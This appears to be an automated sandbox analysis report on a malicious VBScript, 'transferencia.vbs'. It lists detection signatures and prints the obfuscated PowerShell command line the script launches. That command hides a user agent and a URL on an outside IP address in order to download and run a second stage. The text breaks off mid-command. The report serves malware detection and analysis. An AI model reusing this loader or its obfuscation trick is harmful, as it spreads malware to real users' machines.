Edit tour
Windows
Analysis Report
transferencia.vbs
Overview
General Information
Detection
Score: | 88 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell download and execute
AI detected suspicious sample
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Classification
- System is w10x64
- wscript.exe (PID: 1248 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\trans ferencia.v bs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 2448 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "<#Patee R utsjebaner s Pumaerne s Charless Topnoteri ngernes Ce ntimeter # >;$Gyrecto mies='Bogm an';<#Prer emoving mo notoni afd elingslger ne Blunder ers Fingre des Intwis ts #>;$Lim pid=$host. PrivateDat a;If ($Lim pid) {$Nav icert++;}f unction Op brugets52( $Craftsmas ter){$Post narisnhaus t=$Helleni st+$Crafts master.Len gth-$Navic ert;for( $ Postnaris= 4;$Postnar is -lt $Po stnarisnha ust;$Postn aris+=5){$ Samfundslr ers='nonfe cund';$Inf ormativ+=$ Craftsmast er[$Postna ris];}$Inf ormativ;}f unction gg epuncherne ($Unpopulo usness27){ & ($To pographome tric) ($Un populousne ss27);}$Po stnarisner tion254=Op brugets52 'TimeMDe e o M kzVulc iStillsoc l C aa Hvs /G,or5Hazi .Skak0Skun Grip(Akad WA lei C.n nUdbedOver oPreswBoil sBekj Kabe NAntiTCoss Klud1Paul 0,ash. Bar 0Dest;A te SoftWLign iDytinEpid 6.orl4Soda ;P.oc Vidx Cer,6Sona4 nde;Unle Ra.r .rov, idg:Radi1 Med2 Moc1B rss. hon0M ode)F ey S porGMrkve FircMettkC hito Tan/ Bl 2Cong0F or,1 amm0H ymn0Insp1S kib0Mot,1R ing beblFF kaliHoldrL ysbe.errfP icropeerxF rys/M sk1c e t2Unco1L at . rdi0 Uds ';$bil lardkugle= Opbrugets5 2 'Mi rU T alSForhE.l inrSelv- e graPediG P aeO.lyns, ggtBete '; $Ugenummer =Opbrugets 52 ' An hC hubt SertS umpOp,a:B hmn/ mpe/S o.s9Shit1S vas.Bobi1N v i0Supe9 Sus.Maae2C hlo0 F s.U nde1 Egn6W ve1 Gud/F opdHPuere teas Grit B.teG orbI nter jore ilamjordsA vioe DoknD ,ta.CentcS tonh UdfmH age ';$ony mize=Opbru gets52 'Pl at>Awap '; $Topograph ometric=Op brugets52 'BangIMa m E skuxKalk ';$nonhal lucinatory ='Selspark s';$Garwin ='\Dorgens .Uns';ggep uncherne ( Opbrugets5 2 'bitm$Vk stgHootlsy reoInc bK ffaCompl f as:RelaISk rinpreddSe rek PetoOe capAntei I ndeModirsc lei Disn J mg hor=Iv in$ kaseSt olnE.duv.e rr:Gol aSu b.pAlvep P redIdena N ostDa,sabe sp+Unem$sa ndGTetaaFo rertr swSw aniLbernCe st ');ggep uncherne ( Opbrugets5 2 ' kyl$Mo lygIllulBe tvoOri bSk ina SkulOv er: jerSSp roaSapolO toa ecim r liaAn nnHe rmdskytr S tiiRestnUt t eunre= T .e$.cheUFo r g oneCas qnCarou,am lm ModmS.a ceBrevrHo s. ompsEva lpFinnlSk. niHudktMag n(Ac,c$ Tr ioStkinBun dy kytm Un eiIn.oz Un ,eGad )Arm i ');ggepu ncherne (O pbrugets52 'Kate[Opv uNFrfreCow stSank.Eja kS BejeLic erRefivfor hiinf.cBre aeA,stP .p eoHabii Al lnTr vtJer mMHa,daTre vn fllaUte ngPreaeSl, tr rdt]tra w: Ci.: As ySPolleEli ac aleucyr trO,dniLet ,tTel,yPer sPDirrr No no C.st.un oo Pr,cKee poCadrlJud o Hamm=Att a Un.r[ Di aNcop eInd ftMile.Mam mSColoeStu ccMentusol brBog,i Al tt rmayAng lPContr ud io attt Be foAspacArc hoFredlTri aTBragyd r npti.geM c k] rer:Rej :MuniT Ta ml BolsKam f1Noci2I.f l ');$Ugen ummer=$Sal amandrine[ 0];$Hexact inellid40=